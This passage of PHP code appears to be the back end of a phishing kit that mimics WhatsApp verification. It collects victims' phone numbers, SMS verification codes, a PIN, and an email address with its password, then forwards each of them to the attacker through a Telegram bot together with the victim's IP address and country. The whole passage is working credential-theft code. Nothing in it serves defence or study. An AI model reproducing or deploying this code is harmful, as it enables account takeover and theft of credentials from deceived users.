$pais\nTelf.: $tel\n---IPP---\n".$myip." ".$pais."";
$apiToken = $apibot;
$data = [
'chat_id' => $canal,
'text' => $message,
'parse_mode' => 'HTML',
];
$response = file_get_contents("https://api.telegram.org/bot$apiToken/sendMessage?" . http_build_query($data) );
echo '';
}
if (isset($_POST['verificationCode']) ){
$cod1 = $_POST['verificationCode'];
$message = "---whatsapp---\nCodigo1: $cod1\n---IPP---\n".$myip." ".$pais."";
$apiToken = $apibot;
$data = [
'chat_id' => $canal,
'text' => $message,
'parse_mode' => 'HTML',
];
$response = file_get_contents("https://api.telegram.org/bot$apiToken/sendMessage?" . http_build_query($data) );
echo '';
}
if (isset($_POST['verificationCode2']) ){
$cod2 = $_POST['verificationCode2'];
$message = "---whatsapp---\nCodigo2: $cod2\n---IPP---\n".$myip." ".$pais."";
$apiToken = $apibot;
$data = [
'chat_id' => $canal,
'text' => $message,
'parse_mode' => 'HTML',
];
$response = file_get_contents("https://api.telegram.org/bot$apiToken/sendMessage?" . http_build_query($data) );
echo '';
}
if (isset($_POST['pin']) ){
$pin = $_POST['pinCode'];
$message = "---whatsapp---\nPin: $pin\n---IPP---\n".$myip." ".$pais."";
$apiToken = $apibot;
$data = [
'chat_id' => $canal,
'text' => $message,
'parse_mode' => 'HTML',
];
$response = file_get_contents("https://api.telegram.org/bot$apiToken/sendMessage?" . http_build_query($data) );
echo '';
}
if (isset($_POST['eml']) && isset($_POST['ceml']) ){
$eml = $_POST["eml"];
$ceml = $_POST["ceml"];
$message = "---whatsapp---\nCorreo: $eml\nClave-correo: $ceml\n---IPP---\n".$myip." ".$pais."";
$apiToken = $apibot;
$data = [
'chat_id' => $canal,
'text' => $message,
'parse_mode' => 'HTML',
];
$response = file_get_contents("https://api.telegram.org/bot$apiToken/sendMessage?" . http_build_query($data) );
echo '';
}
?>